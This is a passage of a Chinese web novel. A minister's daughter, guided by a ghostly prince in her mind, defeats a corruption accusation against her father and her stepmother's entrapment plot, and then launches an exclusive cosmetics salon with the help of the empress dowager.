书房内,沈从安正襟危坐,脸上没有半分惊慌,只有一种浸淫官场数十载的凝重。
“父亲!”
“慌什么?”沈从安看了她一眼,沉声道,“天,还没塌下来。”
他向女儿解释了眼下的处境。
礼部侍郎苏振,联合了十几位御史,以“贪墨十年前黄河大堤修缮款”的罪名,在朝堂上公开弹劾他。
这桩案子,年代久远,账目繁杂,又是牵动国本的工程,极难在短时间内自证清白。
而皇帝,为了平息“干戈”,也为了敲打沈家,便顺水推舟,下令彻查。
“这是冲着我来的。”沈琉璃立刻明白了过来。
苏振也好,大皇子也罢。他们的真正目标,是自己这个即将嫁入大徽东宫,又与三皇子有血缘之亲的变数。父亲,不过是他们用来攻击自己的靶子。
“你明白就好。”沈从安的眼中,露出欣慰之色,随即又变得无比严肃,“但此事,与你无关,这是朝堂上的事,是男人之间的事。你安安分分地待在后院,准备你的嫁妆,剩下的,为父一力承担。”
“父亲!”
“不必多言。”沈从安背过身,下了逐客令,“回去吧。”
沈琉璃看着父亲那略显苍老的背影,心中五味杂陈。
她知道,父亲是想保护她。
可她也知道,父亲这种“一力承担”的“风骨”,在一场你死我活的政治斗争中,无异于引颈就戮!
第13章 一万两一张的银票
回到晚晴居,她再也无法维持表面的平静。
“怎么办?君北玄,我们该怎么办?”她焦急地在房间里来回踱步,“苏振的背后,是大皇子李裕。他们人多势众,又有心算计,我父亲这次凶多吉少!”
“慌什么!”君北玄的声音,充满了对她这种“无能狂怒”的不屑,“本王还以为你长进了多少,一遇到真正的军国大事,就又变回了那个只会哭鼻子的黄毛丫头。”
“你……”沈琉璃被他骂得一滞,竟无言以对。
“听着!”君北玄的声音,如同战场上的主帅,充满了冷静,“一场围城之战,你父亲选择的是‘固守待援’,实则是‘坐以待毙’,这是最愚蠢的战术!要想破局,只有两个办法:其一,加固城防,找出敌军的破绽;其二,寻找外援,派出一支奇兵,从背后,直捣敌军的粮草!”
“我……我听不懂。”沈琉璃被他这套军事术语弄得头晕脑胀。
“听不懂,本王就教你!”君北玄的语气里,带着“恨铁不成钢”的意味,“‘加固城防’,就是要自查!你父亲那桩旧案,必有蹊跷,找到当年的账册和经手人,就有翻案的可能!”
“‘寻找外援’,”他顿了顿,冷笑道,“你眼前,不就有一个现成的‘援军’吗?”
“谁?”
“你的好表哥,三皇子,李琰!”君北玄一针见血,“大皇子打的不是你爹,打的是他这个弟弟的脸,这是在清除他的党羽。你现在去找他,不是求他,而是给他送上一把,能让他名正言顺地,向他好哥哥捅过去的刀子!”
沈琉璃的心,猛地一跳。
“可……可我们现在被围在府里,连消息都送不出去!”她又想到了最现实的难题。
“哼,”君北玄不屑地轻哼一声,“一座小小的尚书府,也想困住本王,传本王的将令……哦不,听我的吩咐,去把你那个叫春桃的傻丫头,还有忠叔,都叫来。”
“本王要让你看看,什么,才叫真正的突围!”
夜,深了。
整个尚书府,被一层压抑的气氛所笼罩。
府外,御史台的官差们,如同幽灵一般,在墙根下来回巡视,任何试图靠近的人,都会遭到无情的驱赶。
晚晴居内,灯火通明。
春桃和忠叔,一脸凝重地站在沈琉璃面前,他们刚刚从小姐的口中,听到了一个“异想天开”的计划。
“小姐,这……这能行吗?”春桃的脸上,满是担忧,“这可是欺瞒官差啊,万一被发现了……”
“没有万一。”沈琉璃的眼神,异常坚定。
“好了,别废话了,按计划行事。”君北玄在她脑中,不耐烦地催促道,“打仗,最忌畏首畏尾!”
“你闭嘴!”沈琉璃在心里回敬了一句,随即,她对忠叔和春桃,温言安抚道:“放心,我已经想好了万全之策,忠叔,你只需照我说的做。”
半个时辰后,尚书府的侧门,缓缓打开。
忠叔亲自赶着一辆装满了垃圾和馊水的骡车,慢悠悠地驶了出来。这是尚书府每日清理垃圾的例行公事,即便是在被“围困”期间,御史台也并未禁止。
“站住,干什么的?”两名官差,立刻上前,拦住了骡车。
“官爷,官爷。”忠叔连忙跳下车,脸上堆满了谦卑的笑容,从袖中掏出两块碎银子,悄悄地塞了过去,“一点小意思,给官爷们喝茶,府里这些日子,吃不好睡不好的,垃圾也多,劳烦官爷们了。”
官差掂了掂银子,脸上的表情缓和了不少,其中一个,还是例行公事地拿起长矛,在那堆馊水和垃圾里,胡乱地捅了捅。
一股恶臭,扑面而来。
“晦气,赶紧走,赶紧走!”官差嫌恶地摆了摆手,捏着鼻子退到了一旁。
“谢官爷,谢官爷!”
忠叔点头哈腰地道着谢,赶着骡车,缓缓地驶入了黑暗的街道之中。
看着骡车远去,春桃在门缝里,紧张得心脏都快跳出来了。
“小姐,忠叔他……他不会有事吧?”
“放心。”沈琉璃的眼中,闪烁着光芒,“最危险的地方,往往就是最安全的地方,他们只会检查有没有人藏在车里。绝不会想到,我们要送出去的东西,就藏在最肮脏的垃圾底下。”
在那辆骡车的底部夹层里,藏着一个小小的油布包。
包里,只有一封沈琉璃的亲笔信,还有两张面额高达一万两的银票。
三皇子府,书房。
乾国三皇子李琰,正对着一盘残局,眉头紧锁。
他身材修长,面容俊秀,眉宇间,却带着与年龄不符的忧郁。
“殿下,”他的心腹幕僚,正躬身汇报道,“大皇子此次,来势汹汹,弹劾沈尚书的折子,雪片一样地往上递。我们手上的力量,怕是难以抗衡啊。”
李琰长叹一口气,落下一子,沉声道:“沈家,是我唯一的依靠,若舅舅倒了,我在这朝堂之上,便再无立锥之地。可恨我空有抱负,却无钱财招揽能人,处处受制于人!”
就在此时,一名侍卫敲门而入,呈上了一个用油布包裹的小包。
“殿下,府外,一个自称是沈府的采办管事,冒死送来的。”
李琰疑惑地打开油布包,露出了里面的信和银票。
当他看到银票上的数额时,即便他身为皇子,也忍不住倒吸了一口冷气!
一共两万两!
这几乎相当于他名下所有产业,两年的总收入!
他颤抖着手,打开了那封信,信上的字迹,清秀而有力,内容却简单直接。
信中,沈琉璃只字未提自己家族的危机,也未求他出手相助。
她只是说,听闻表哥胸怀大志,欲为国为民,奈何手中拮据。她作为妹妹,愿倾其所有,献上薄金,助兄长一臂之力。只盼兄长他日,能“扫清朝堂奸佞,还乾国一个朗朗乾坤”。
好一个“还乾国一个朗朗乾坤”!
李琰捏着信纸,只觉得浑身的血液,都在燃烧!
他从未放在心上的这位表妹,其格局,竟远超他身边所有的谋士!
她给他的,是“兵马”,是“粮草”!是能让他,与自己的大哥,在朝堂这片“战场”上,真正掰一掰手腕的底气!
“来人!”李琰猛地站起身,眼中的忧郁一扫而空,取而代之的,是前所未有的斗志。
“告诉送信的人,”他沉声说道,“表妹的这份大礼,本王收下了!”
“也请他转告表妹,三日之后,朝堂之上,静候佳音!”
三日后的早朝,气氛凝重如铁。
礼部侍郎苏振,再次联合一众御史,对沈从安,发起了最后的总攻。
他们呈上了更多的“证据”,言辞凿凿,要求皇帝立刻将沈从安罢官免职,打入天牢,听候发落。
大皇子李裕,站在一旁,嘴角挂着若有若无的微笑。在他看来,沈从安,以及他背后的三皇子李琰,今天,就要彻底从朝堂上消失了。
沈从安站在大殿中央,须发微颤,脸色苍白,却依旧挺直了脊梁。他知道,自己已是穷途末路,但他,绝不低头。
就在皇帝被吵得不耐烦,即将下旨的时候……
“陛下,臣,有本启奏!”
一个苍老而有力的声音,从角落里响起。
众人回头,只见当朝太傅,年近七旬的周老大人,拄着拐杖,颤颤巍巍的,从队列中走了出来。
周太傅,乃是三朝元老,门生故吏遍布天下,更是朝中有名的“老顽固”,从不参与任何党争。
谁也没想到,他今天,竟会主动站出来。
连大皇子李裕,都微微皱起了眉头。
“周太傅有何事?”皇帝问道。
“陛下,”周太傅颤声说道,“臣要弹劾礼部侍郎,苏振!”
此言一出,满朝皆惊!
苏振更是当场就懵了:“周太傅,我与您往日无怨,近日无仇,您为何要弹劾老夫?”
“为何?”周太傅冷笑一声,从袖中,取出了一本厚厚的账册,高高举起,“就凭这个!”
“此乃十年前,黄河大堤修缮工程的原始账目!上面清清楚楚地记载着,当年,负责主管所有款项支出的,并非时任工部尚书的沈从安大人。而是时任工部右侍郎,也就是今天的礼部员外郎,苏大人你啊!”
“什么?!”苏振的脸,瞬间没了血色。
“不仅如此,”周太傅继续朗声道,“账目上还记载着,苏大人你当年最得意的一位门生,竟一跃成为了修建大堤所需石料的皇商!而他购入石料的价格,竟比市价,足足高了三成!这多出来的数万两白银,敢问苏大人,是进了谁的口袋?”
“你……你血口喷人!这账本是伪造的!”苏振惊慌地大喊。
“伪造?”周太傅将账本,呈给了皇帝身边的内侍,“账本之上,有先帝的亲笔朱批,有户部、工部、内务府的三方大印!苏大人,你是在说,先帝的朱批,也是伪造的吗?”
“我……”苏振“噗通”一声,瘫倒在地。他怎么也没想到,这本早已被他销毁了的账目,时隔十年,竟会重见天日!
第14章 继母的诡计
就在所有人都以为苏振必死无疑之时,一直沉默的大皇子李裕,忽然从队列中站了出来。
“父皇,”他对着龙椅,深深一拜,“此事,儿臣也有过错。”
此言一出,满座皆惊。
李裕缓缓说道:“当年,北境与蛮族摩擦不断,军情紧急。儿臣奉父皇之命,暗中支援北境军备,但国库吃紧,经费不足。儿臣情急之下,便私下里,准许了时任侍郎的苏大人,从黄河大堤的款项中,‘挪’用了一部分,用以填补北境的军备空缺。”
“至于那高出三成的石料款,”他话锋一转,“并非贪墨,而是儿臣用来,安抚那些为我乾国,战死将士的抚恤金!”
他这番话,真假难辨,却将一桩“贪腐大案”,变成了一场为了“国家大义”而“便宜行事”的“爱国之举”!
三皇子一派的官员,顿时都愣住了,他们没想到,大皇子竟会用这种方式,来为苏振脱罪!
皇帝君宏德看着自己的长子,眼中闪过复杂的光芒。
他当然知道,这不过是托词,但他却无法当着文武百官的面,去否认一件听起来如此“忠君爱国”的事情。
最终,皇帝一拍龙椅,沉声道:“糊涂!国家经费,岂能如此挪用?此乃大不敬!”
他看似龙颜大怒,最终的判决,却高高抬起,轻轻落下。
“苏振,用人不当,处置失当,罚俸一年,在家思过!其门生,以‘欺君罔上’之罪,打入天牢!至于太子……”皇帝看了他一眼,淡淡道,“身为皇长子,行事孟浪,思虑不周,禁足东宫一月,好生反省!”
一场足以毁灭沈家的政治风暴,就这么,被大皇子化解于无形。沈从安,也因此被不痛不痒地训斥了几句,便安然脱身。
晚晴居内,当沈琉璃听到这个消息时,一直悬着的心,终于放了下来。
“漂亮。”君北玄由衷地赞叹道,“你这位表哥,是个人物,一出手,就抓住了最致命的要害。”
“不是他,”沈琉璃摇了摇头,“是他手下的谋士厉害,我只是为他们提供了足够的‘弹药’而已。”
她知道,自己这位表哥,终于有了能与大皇子,正面抗衡的本钱。
乾国的这盘棋,活了。
这几日,经历大起大落的沈从安把柳氏接回府中,沈清瑶也解了禁足。
而柳氏一反常态,不仅不再作妖,反而几次三番地派人送来补品和衣物,嘘寒问暖,态度好得令人发毛。
“无事献殷勤,非奸即盗。”君北玄冷冷道,“这个毒妇,一定又在憋着什么坏水。你最好小心点。”
“我知道。”沈琉璃当然知道。
她知道,柳氏的第一次发难失败了,大皇子的第一次攻击,也失败了。
那么,她们的第二次,也必然会来。
而且,一定会比之前,更狠,更毒。
就在沈家刚刚喘过一口气的时候,一个意想不到的“好消息”,传到了晚晴居。
在被严厉禁足了整整一月后,继母柳氏竟一反常态,主动向老爷沈从安“负荆请罪”。她声泪俱下地忏悔了自己的过错,并恳求老爷能给她一个“冰释前嫌”的机会。
她想在两日后亲自下厨,设下家宴,邀请全家人吃一顿“团圆饭”,以示她改过自新之诚意。
“家宴?”春桃接过帖子,满脸狐疑,“小姐,这黄鼠狼给鸡拜年,没安好心啊,夫人她,怎么可能突然变得这么好?”
“她当然没安好心。”沈琉璃接过帖子,看着上面柳氏那虚伪的字迹,嘴角勾起一抹冷笑。
“这个毒妇,又在动歪脑筋了。”君北玄在她脑中说道,“一场政治围剿都奈何不了你父亲,她以为,一顿饭,就能算计到你?”
“王爷,你可别小看一顿饭。”的眼神,变得犀利起来,“有时候,饭局比战场更危险,因为战场上的刀,是明晃晃的;而饭局上的刀,是看不见的。”
“哼,在本王面前,任何阴谋诡计,都无所遁形。”君北玄傲然道,“本王倒要看看,她这次,又能玩出什么新花样。”
“那请问王爷是如何出现在这孤狼坠中的?”沈琉璃淡淡地问道。
“你……你这是哪壶不开提哪壶!”君北玄无能狂怒。
“好了好了,不说这个了,反正她也玩不出什么新花样。”沈琉璃眼神清澈,继续说道,“一个人的格局,决定了她的手段,柳氏这种人,她所有的计谋,都离不开后宅妇人那点腌臜事。我猜,这次的鸿门宴,她攻击的目标,不会是我的身外之物,而是我这个人本身。”
“你的意思是名节?”君北玄立刻反应了过来。
“没错。”沈琉璃将帖子,轻轻地放在了桌上,“对于一个即将出嫁的女子来说,这是她最重要,也是最脆弱的命门,柳氏这是要做最后一搏了。”
“那你打算如何应对?”君北玄问道,“本王的建议是,将计就计,她既然为你设下了陷阱,你便为她,准备好一口棺材。”
“不,将军,你的想法,还是太直接了。”沈琉璃的眼中,闪烁着狡黠的光芒,“只杀一个柳氏,太便宜她了,她不是请了帮手吗?她不是觉得,有大皇子和苏振做靠山,便可有恃无恐吗?”
“我要做的,是让她和她的好盟友们,整整齐齐地,掉进我为他们挖好的坑里。”
她知道,这场家宴,将是她与柳氏母女之间,最后的决战。
此战之后,尚书府的后院,必须,也只能有一个女主人。
她提笔,给自己的表哥,三皇子李琰,写下了一封密信。
信的内容很简单,她邀请表哥,在两日后的家宴当晚,来尚书府看一出好戏。
两日后……
沈府家宴当晚,月色撩人,花园里灯火通明,一派其乐融融的景象。
柳氏今日打扮得雍容华贵,脸上挂着真诚的笑容,亲自为沈从安和族中几位长老布菜,仿佛之前所有的不快,都已烟消云散。
沈清瑶也恢复了往日的美艳,她安静地坐在一旁,只是看向沈琉璃的眼神深处,偶尔会浮现幸灾乐祸的快意。
沈琉璃则扮演着一个乖女儿的角色,她谈笑自若,对柳氏的敬酒,也来者不拒。
“这酒里,没有毒。”君北玄在她脑中,用一种专业的语气说道,“但,加了一种西域的迷香,少量饮用,只会让人头脑昏沉,浑身发软。看来,她们是想让你失去反抗之力。”
“我知道。”沈琉璃在心中平静地回应。
她端起酒杯,在众人不注意的时候,用袖口,巧妙地挡住了大部分的酒,只饮下了微不足道的一小口。
酒过三巡,菜过五味。
沈琉璃的脸上,开始浮现出一抹“不胜酒力”的红晕,她扶着额头,身体微微摇晃。
“父亲,母亲。”她站起身,声音带着几分醉意,“女儿有些头晕,想……想去后花园的湖心亭,吹吹风,醒醒酒。”
柳氏闻言,心中狂喜,但脸上却故作关切地说道:“哎呀,看你这孩子,就是喝不得酒。也好,去吧,让春桃好生扶着你,可别掉进湖里了。”
“是,母亲。”
沈琉璃在春桃的“搀扶”下,一步三晃地,朝着西花园的方向走去。
她一走,柳氏便立刻对身旁的沈清瑶,使了个眼色。
沈清瑶会意,也站起身来,娇笑道:“父亲,母亲,我也有些闷了,想去花园里走走,消消食。”
说着,便带着自己的丫鬟,朝着另一个方向,悄然离去。
所有人都以为,她是真的去消食了。
却不知,她是去看好戏,并准备在最关键的时候,“发现”好戏。
而此时,湖心亭内,苏振的草包儿子苏文,早已等得心急火燎,他一看到沈琉璃那“醉意朦胧”的身影,便立刻迎了上去。
“琉璃妹妹,你可算来了。”
沈琉璃看着眼前这个色眯眯的草包,心中冷笑,脸上却是一副“天真无邪”的模样。
“咦?苏……苏公子,你怎么会在这里呀?这里是我家啊……”她口齿不清地问道。
“自然是在这里等你啊。”苏文搓着手,一步步逼近,“妹妹,你有所不知,我倾慕你许久了!”
说着,他便张开双臂,朝着沈琉璃,猛地扑了过去!
然而,他抱住的,却不是什么温香软玉,而是一个硬邦邦的,还带着一股汗臭味的,男人身体!
苏文一愣,定睛一看,只见自己怀里抱着的,竟是原本都在宴席的沈家护卫!
而本该“醉倒”的沈琉璃,却不知何时,已经退到了亭子的另一边,正一脸“震惊”地看着他们!
“你……你们……”苏文的脑子,彻底当机了。
“哎呀,苏公子!”沈琉璃发出一声夸张的尖叫,“你竟然对一个男人,行此等苟且之事!简直是不知廉耻!”
她这一声喊,声音不大,却足以让柳氏和沈清瑶带来的“捉奸”人马,听得一清二楚!她们以为是自己这边计谋得逞,纷纷从藏身之处,一拥而出!
“不知廉耻的东西,还不快给我滚出来!”柳氏那尖利的声音,第一个响起。
随即,沈清瑶那幸灾乐祸的声音,也紧跟着传来:“姐姐,你在这里干什么!”
当她们看清亭子中,那两个抱在一起的男人时,所有人的表情,都凝固了。
而就在这寂静中,一个充满了威严和怒意的声音,从她们身后传来。
“好啊,真是好啊!本王还没入席,舅母就唱了这么一出‘龙阳之好’的大戏!”
众人回头,只见三皇子李琰,正黑着一张脸,带着几位宗室长老,不知何时,已经站在了那里。
三皇子李琰的出现,像一记最响亮的耳光,狠狠地扇在了柳氏的脸上。
他们怎么也没想到,这场本该是针对沈琉璃的“捉奸”大戏,不仅没捉到,还惊动了皇子和宗室!
第15章 玉容阁
“三……三殿下……”柳氏的腿,当场就软了,她跪在地上,语无伦次地辩解道,“您误会了,这是一个误会,我们是来抓贼的!”
“抓贼?”李琰冷笑一声,他看都未看柳氏一眼,只是将目光投向了那个已经吓得面无人色的苏文,“苏公子,你来说说,你在尚书府的湖心亭里,是想偷些什么呀?还是说苏侍郎的家教,就是如此的‘与众不同’?”
苏振的儿子苏文,本就是个草包,哪里见过这等阵仗,被李琰那带着杀气的眼神一瞪,当场就吓得屁滚尿流,竹筒倒豆子一般,将所有事情,都给招了。
他不仅招出了沈清瑶母女,以“能与沈琉璃私会”为诱饵,将他骗来此处。更是为了脱罪,反咬一口,说沈清瑶早就与他暗通款曲,今日之事,乃是他们二人早就商量好的!
“你胡说!”沈清瑶发出一声尖叫。
这下,场面直接变成了一场无法收场的闹剧。
柳氏的构陷,苏文的攀咬,沈清瑶的抵赖……所有最肮脏的人性,都在这一刻,暴露在了众人面前。
而沈琉璃,从始至终,都像一个真正的“受害者”。她拉着父亲沈从安的衣袖,眼中含泪,身体微微发抖,那副模样,任谁看了,都会心生怜惜。
“父亲,”她用哽咽的声音说道,“女儿……女儿不明白,母亲和妹妹,为何要如此待我!”
“好演技……”君北玄不禁赞叹道。
“……你闭嘴!”沈琉璃在脑海中冲他翻了个白眼。
不过不管君北玄怎么想,沈琉璃这句诛心之言,成了压垮沈从安的最后一根稻草。
“够了!”
沈从安发出一声雷霆般的怒吼,他看着眼前这丢人现眼的一切,只觉得沈家百年的清誉,都在今晚,被柳氏这个毒妇,给毁得一干二净!
最终的审判,来得迅速而决绝。
在宗室长老的见证下,沈从安亲自写下了一封休书,以“七出”之罪,将柳氏逐出了沈家!
而沈清瑶,则因“品行不端,秽乱门庭”之罪。连夜,被用一顶小轿,送去了城外的家庙,青灯古佛,了此残生!
苏家,刚刚被大皇子从贪污风波中救出,这下又因为掺和了这等阴私之事,名声扫地;苏振,更是被皇帝以“治家不严,有亏官德”为由,罚俸一年。
一场沈家后院的风波,终于,尘埃落定。
晚晴居内,恢复了久违的宁静。
“漂亮。”君北玄在她脑中,由衷地赞叹道,“一箭三雕,不仅彻底解决了你后院的两个毒瘤;还顺手,重创了你父亲的政敌。本王承认,在‘阴险’这方面,你确实有几分天分。”
“过奖。”沈琉璃微微一笑,她走到窗边,看着天边最后一缕晚霞,“我只是让他们,尝到了自己种下的恶果而已。”
“不过……”君北玄话锋一转,提醒道,“你这次,是彻底把大皇子一派给得罪死了,他们不会善罢甘休的。你父亲虽然暂时安全,但只要你一天是三皇子的表妹,是大徽王朝未来的太子妃,大皇子对你们沈家的打压,就一天不会停止。”
“我知道。”沈琉璃点了点头,晚风吹起她鬓边的碎发,她的眼神却异常明亮。
她轻声说道:“指望别人的善意和疏忽,终究是靠不住的;指望父亲在朝堂上孤军奋战,也非长久之计;想要真正地立于不败之地,我需要拥有自己的力量。”
“哦?”君北玄的语气里带上了些许兴趣,“什么样的力量?”
“一种让所有敌人,在想动我们之前,都不得不掂量一下的力量。”
沈琉璃转过身,不再看窗外的风景,而是走到了书案前。那里,铺着一张京城的地图,还有一本写满了各种商业构想的册子。
她对着门外,用一种充满了决断力的声音,朗声吩咐道:
“春桃!”
“奴婢在!”春桃立刻跑了进来。
“传我的话给忠叔,”沈琉璃的指尖,在地图上最繁华的朱雀大街上,重重一点。
“就说,计划可以开始了,我要他在三天之内,盘下朱雀大街上,那家位置最好的三层店铺。另外,让他以‘江北商会’的名义,向我们名单上的那五十位贵妇,发出‘玉容阁’会员的邀请函。”
她抬起头,眼中闪烁着自信的光芒,说道:
“一个月后,我的‘玉容阁’,要正式开张。”
晚晴居内,沈琉璃的命令,如同一颗投入平静湖面的石子,让刚刚从一场宅斗大戏中缓过神来的春桃,再次惊得目瞪口呆。
“小……小姐?”春桃结结巴巴地问道,“您是说要花钱,盘下朱雀大街的店铺,然后让别人花一千两白银,才能有资格来咱们店里买东西?”
她感觉自己的小脑袋瓜已经完全不够用了,花一千两银子,只是为了获得一个“买东西的资格”,这是什么道理,天底下会有这种冤大头吗?
“不,”沈琉璃摇了摇头,纠正道,“不是‘买东西的资格’,而是‘与众不同’的资格。”
“这有什么区别吗?”春桃眨巴着眼睛,满脸困惑。
“区别大了!”君北玄在她脑中,冷哼了一声,“你这丫鬟简直蠢得无可救药。”
沈琉璃没有理会君北玄的吐槽,她耐心地对春桃解释道:“你想想,一件东西,如果全天下的人都能拥有,那它还珍贵吗?可如果,一样东西,全京城,只有五十个人能拥有呢?”
春桃似懂非懂地点了点头:“那……那肯定很珍贵,别人都会羡慕死!”
“这就对了。”沈琉璃微微一笑,“我们卖的,不是玉容膏,我们卖的,就是这份‘让别人羡慕死’的资格。”
春桃这才恍然大悟,随即又激动起来:“小姐您真是太聪明了,这法子一定能行!”
“哼,妇人之见。”君北玄又开始了他的日常批判,“这不叫聪明,这叫阳谋,把人的虚荣心,放在明面上,让她们自己往里钻。不过你那个邀请函,打算怎么写?本王建议,就用最直接的措辞,黑底金字,上书‘玉容阁,会员招募,年费千金,限五十人’,要的就是这种不容置疑的霸气!”
沈琉璃听完,想象了一下那个画面,忍不住打了个寒颤。
“王爷,您那是军营里招兵的檄文,不是请贵妇入会的帖子。”她在心里无力地反驳,“我若真这么写,别人不会觉得霸气,只会觉得这家店的掌柜,是个没读过书的土财主。”
她没有再理会君北玄这个“直男”的建议,而是亲自走到书案前,铺开了最上等的“月影笺”。
她提笔,用一手小楷,写下了邀请函的正文。通篇没有一个“钱”字,更没有半句推销之语。
信中,她只是用一种极其诗意的语言,描绘了一个“美”的意境。诉说“玉容阁”的诞生,是为了给京城中“最高雅的灵魂”,提供一个可以静享美丽的私密之所,而成为会员,就是“获得一枚开启美丽圣殿的钥匙”。
“矫揉造作,辞藻堆砌,华而不实。”君北玄在她写完后,给出了十二字的精准差评。
“将军,有本事您现在就出去指挥打仗,好吗?”沈琉璃在心里回了一句,然后满意地将信纸吹干。
接下来的三天,京城看似风平浪静,实则暗流涌动。
忠叔不愧是沈琉璃最得力的干将,他用沈琉璃给予的资金,以雷霆之势,成功盘下了位于朱雀大街最中心地段的三层酒楼。
而那五十封邀请函,也通过最可靠的渠道,被悄无声息地,送到了京城五十位身份最尊贵的贵妇与千金手中。
这其中,自然也包括了礼部侍郎府的苏晚晚。
当苏晚晚收到这封信时,她正因为上次在拍卖会上,被人截胡而大发雷霆。
她本以为这又是什么人送来的无聊拜帖,正要扔掉,却被信纸上那独特的香气所吸引。
拜帖里夹着一封信、一张由“四海珍宝阁”刘掌柜作保的“会员资格凭证”,“会员资格凭证”上面还标注着年费一千两白银。
当她看完信的内容,先是震惊,随即便是抑制不住的愤怒!
一千两,只是一个会员资格!
这简直是疯了!是把京城所有人都当傻子吗?!
可信中那句“只为最懂得美的灵魂”,却像一根羽毛,搔在了她内心最痒的地方。
她苏晚晚,难道不配成为这五十人之一吗?
如果自己不去,而别的死对头去了,那岂不是证明,自己不如她们“懂得美”?
这种念头,像毒草一样,在她心中疯狂滋长。
她知道,这是一个局。
可她,却有一种无论如何,都想往里跳的冲动。
“玉容阁”的选址,堪称完美。
那是一座三层高的独立阁楼,自带一个雅致的后院,位于朱雀大街的黄金地段,忠叔以雷霆之势,用远超市场的价格,在三天之内,就将其从原主人手中盘了下来。
“败家之举。”君北玄在得知成交价格后,冷冷地评价道,“溢价三成,只为争朝夕之功,一个合格的统帅,绝不会打如此没有性价比的仗。”
“将军,您又错了。”沈琉璃正对着一张装修图纸,头也不抬地在心里回应,“我买的,不是一座楼,而是‘时间’和‘位置’。我要在最短的时间内,在最引人注目的地方,建起我的‘堡垒’,这三成的溢价,是必要的‘战略成本’。”
第16章 不懂事
接下来的一个月,整座阁楼,都被厚厚的帷幔遮挡了起来,进入了紧张的内部装修阶段。
对于这座未来的“美丽圣殿”,沈琉璃和君北玄,再次爆发了激烈的冲突。
“大门,必须用镇墓兽。”君北玄言之凿凿,“要青铜的,越大越好,显得威严,宵小之徒,不敢靠近。”
“王爷,我们是开门做生意的,不是要镇压什么妖魔鬼怪。”沈琉璃扶额,“我要的是一扇由整块金丝楠木雕刻而成的月亮门,要的是‘曲径通幽’的意境。”
“内部,墙壁要用青石,陈设要少,要空旷,要突出权力的肃穆感,最好再挂几幅前朝名将的兵器图。”
“您是想把我的客人,都给吓跑吗,我要的是温暖和私密,让她们一走进来,就感觉这是自己的‘闺房’。我要用的是最好的织锦做墙布,地上铺的是最柔软的波斯地毯,每一个房间,都要有不同的主题和香气。”
“俗不可耐,妇人之见!”
“钢铁直男,毫无审美!”
一人一鬼,在她脑海里吵得不可开交。
春桃在一旁看着自家小姐时而皱眉,时而摇头,时而又对着空气翻白眼,只觉得小姐的“中邪”之症,是越来越严重了。
最终,自然还是以沈琉璃大获全胜而告终。
在不计成本的投入下,“玉容阁”的内部,被装修得如同天上的宫殿。
然而,就在装修进入尾声,即将开业的前几天,麻烦,还是找上了门。
这日,一队由京兆府衙役和工部官员组成的队伍,忽然来到了“玉容阁”的门前。为首的,正是礼部侍郎苏振的一位心腹。
他们以“接到举报,此处装修改建,违背了京城建筑规制,恐有坍塌之险”为由,不由分说,直接贴上了封条,勒令所有工匠,立刻停工!
正在现场监工的忠叔,与他们理论,却被官差粗暴地推到了一旁。
消息传回尚书府,春桃急得团团转。
“小姐,怎么办呀,离我们请柬上写的开业日期,只剩下七天了。这要是不能按时开业,我们岂不是要成为全京城的笑柄?”
沈琉璃看着手中的那张封条,脸色冰冷。
“好一招‘釜底抽薪’。”君北玄的声音,也充满了怒意,“看来已经有人知道你就是玉容阁幕后的主人了。他们不敢在明面上动你,便用这种手段,来给你使绊子。你若去理论,便会陷入与官府无穷无尽的扯皮之中;你若不去,便只能眼睁睁地看着心血白费。”
“谁说我要去理论了?”沈琉璃将那张封条,缓缓地撕成了碎片。
“哦?”君北玄有些意外,“那你想如何?难不成,你还真有什么通天的本事,能让这京兆府自己把封条给撕了?”
“我没有。”沈琉璃摇了摇头,脸上,却露出了一个高深莫测的笑容,“但我知道,这乾国京城里,有个人,有。”
她转头,对春桃吩咐道:“去,备一份厚礼,不用太贵重,但一定要雅致,然后,备车。”
“小姐,我们去哪?”
“去宫里,”沈琉璃的眼中,闪烁着智慧的光芒,“我们去给皇太后她老人家,请安。”
乾国的皇太后,一生礼佛,不问朝政,但整个京城都知道,这位老太太,是当今圣上唯一的软肋,也是最不可触碰的逆鳞。
沈琉璃的马车,没有去皇宫,而是直接驶向了皇太后常年静养的皇家寺庙,静安寺。
她没有空手而去,她带的“厚礼”,是一本她亲手抄写的《金刚经》,以及一盒包装得素雅无比的“玉容膏”。
当沈琉璃在佛堂见到皇太后时,这位雍容华贵的老人,正有些烦恼地揉着自己的太阳穴。
“琉璃丫头,你来啦。”皇太后见到她,脸上露出了真切的笑容。
“给皇太后请安。”沈琉璃行过礼后,便被赐坐在了旁边。
“你这孩子,就是太懂事。”皇太后看着她,叹了口气,“你家府上出了那么大的事,闹得满城风雨,也不知进宫来,跟哀家说一声,若不是安和去打听,哀家都还蒙在鼓里。”
她说的,自然是之前柳氏母女栽赃陷害之事。
沈琉璃立刻起身,跪下请罪:“是琉璃的不是,此等家宅丑事,本不该污了太后娘娘的圣听。”
“快起来,傻孩子。”皇太后将她扶起,拍了拍她的手,“你受委屈了,不过,你处理得很好,有勇有谋。”
两人又闲话了几句家常,皇太后脸上的疲惫之色,却越来越浓。
“哀家这几日,也不知是怎么了,总是头痛,夜里也睡不安稳,连带着这皮肤,都松弛了不少。”她有些无奈地说道。
沈琉璃等的就是这句话。
她立刻将自己带来的那个白瓷小盒,恭敬地呈了上去。
“太后娘娘,这是臣女偶然得来的一个偏方,用一些花草制成的膏脂,清凉醒神,安神助眠,颇有奇效。臣女不敢说能治好您的头痛,但睡前抹上一点,定能让您睡个好觉。”
她绝口不提“玉容膏”的名字,更不提其价值,只说是“安神助眠”的小玩意儿。
按宫中规矩,外来之物不可乱用。
皇太后身边的安和姑姑,正想拦下,但皇太后闻着那股清雅的异香,却来了兴趣。
“无妨,这是丫头的心意,哀家领了。”
她当场便让宫女取了一点,涂抹在了太阳穴上,一股清凉舒适的感觉,瞬间传来,让她那紧绷的神经,都为之一松。
“嗯,果然是好东西。”皇太后满意地点了点头。
沈琉璃陪着皇太后用了一下午的斋饭,期间,她看似无意地,说起了一件“烦心事”。
“本来,臣女想着,开了春,天气好,想在朱雀大街开一家小小的香料铺子,也算是为自己攒点体己钱。可谁知,铺子还没开张,就被工部和京兆府的人给封了,说是违了规制,唉,都怪琉璃不懂事,冲撞了官家。”
她一边说,一边露出委屈又自责的表情,仿佛真的只是在抱怨一件无足轻重的小事。
皇太后闻言,那双略显浑浊的眼睛里,却闪过了精光。
她没有多说什么,只是在沈琉璃告辞时,意味深长地说道:“好孩子,既是好事,便安心去做。若真有什么‘不懂事’的地方,自有哀家,替你担着。”
第二天一早。
那队堵在“玉容阁”门口的衙役,便被撤得干干净净。
